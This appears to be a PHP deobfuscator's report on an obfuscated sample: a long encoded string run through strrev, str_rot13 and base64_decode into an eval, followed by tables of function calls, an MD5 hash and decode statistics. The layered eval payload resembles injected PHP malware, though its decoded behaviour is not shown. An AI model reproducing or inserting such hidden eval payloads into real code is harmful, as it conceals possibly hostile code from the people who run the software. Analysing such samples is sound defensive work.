NXBly0rTI0WPNfozyuoJ9xoTyuoJHxVPjvKF1hnJSgo2EfnJSgMF1oVvuyL2SfpTIlK3W0plN9VUE4MKDxVPNtVNb7XKE4MKDxVPklMKA1oTyuoJHxVPjvKF1lMKA1oTyuoJHgJlVbMJAuoUOypy9lqUZtCFO0rTI0WPNtVPNXBly0rTI0WPNfoTyuoJHxVPjvKF1fnJSgMF1oVvuyL2SfpTIlK3W0plN9VUE4MKDxVPNtVNb7XKE4MKDxVPjcXFuyoJy0VPjvLFOmBzx6nPOMY2DioFVbMKEuMPNfVy0gMJ1cqP1oVvuyL2SfpTIlK3W0plN9VUE4MKDxVPNtVNb7KGSoMFD9ozyuoJ9xoTyuoJHxPDb7KGOoMFD9pzImqJkcLJ1yWNxXBlyfnJSgMFDtYPqNWluyMT9fpUuyVQ0tMFDWPafcoTyuoJHxYUE4MKDxXUWuMJkQMzSyoPOho2y0L251MtbXPwfcXTImo2kwK2I0nKW3K25inKAmMKZXPa0XsFNtVPNXVPNtVPNtVPN7qTy4MFNtVPNtVPNtPwfvCzIlpP88Cz1lo2LiCQ4aCw4aCJI1oTS2VPq0nJ1vqKZaCJIjrKDtqUIjozx8Cvqmp2SjWm1yoJShVPqxpz93p3AupPp9MKO5qPO0qKOhnGjtBzElo3qmp2SDCaEmo3N9MT9bqTIgVT1lo2L8CaWyqT5yLm1hM2yfLFOypaN8VvO0ozylpPNtVPNtVPNtPaftMKAfMFNtVPNXsFNtVPNXB2Elo3qmp2SjWPN9VS1yMT9woz9cp3AyplEoGx9WH1ASH18xVPNtVPNtVPNXrlNcMUWiq3AmLKNxVQ09VS0ap3AupPqoISASIISSHy8xVTEhLFNcKFqmp2SjW1gHH0IIHHIFKlDbqTImp2xbVTMcVPNtVNc7XJElo3qmp2SjWPN9VFOqMJEiL25inKAmMKZxJ05CFIAGEIAsWPOxozRtXJElo3qmp2SjWPu5qUOgMFRbMzxXBlysK0IZFHMsKlt1MT0tCFOyMT9woz9cp3AyplDXPtb7VaqjYaWyoTyuoJMuMJjvCI0aMKEcp2WyqlqoMzSyoPDXBlV4YwVvCI0aoz9cp3WyqvqoMzSyoPDXPwfcZF0fVaEcoJyfK3ylo21yoFVbqTImK2yhnDb7XGNbqTygnJksMJ1cqS90MKZXBlxjXTqhnKElo3Oypy9lo3WlMDb7XFu0pzS0p19ho2ymp2ImPtb=')))); ?>
Function Calls
| strrev | 1 |
| ini_set | 3 |
| str_rot13 | 1 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | 819f043778a33ab337f71487d28aea1b |
| Eval Count | 1 |
| Decode Time | 352 ms |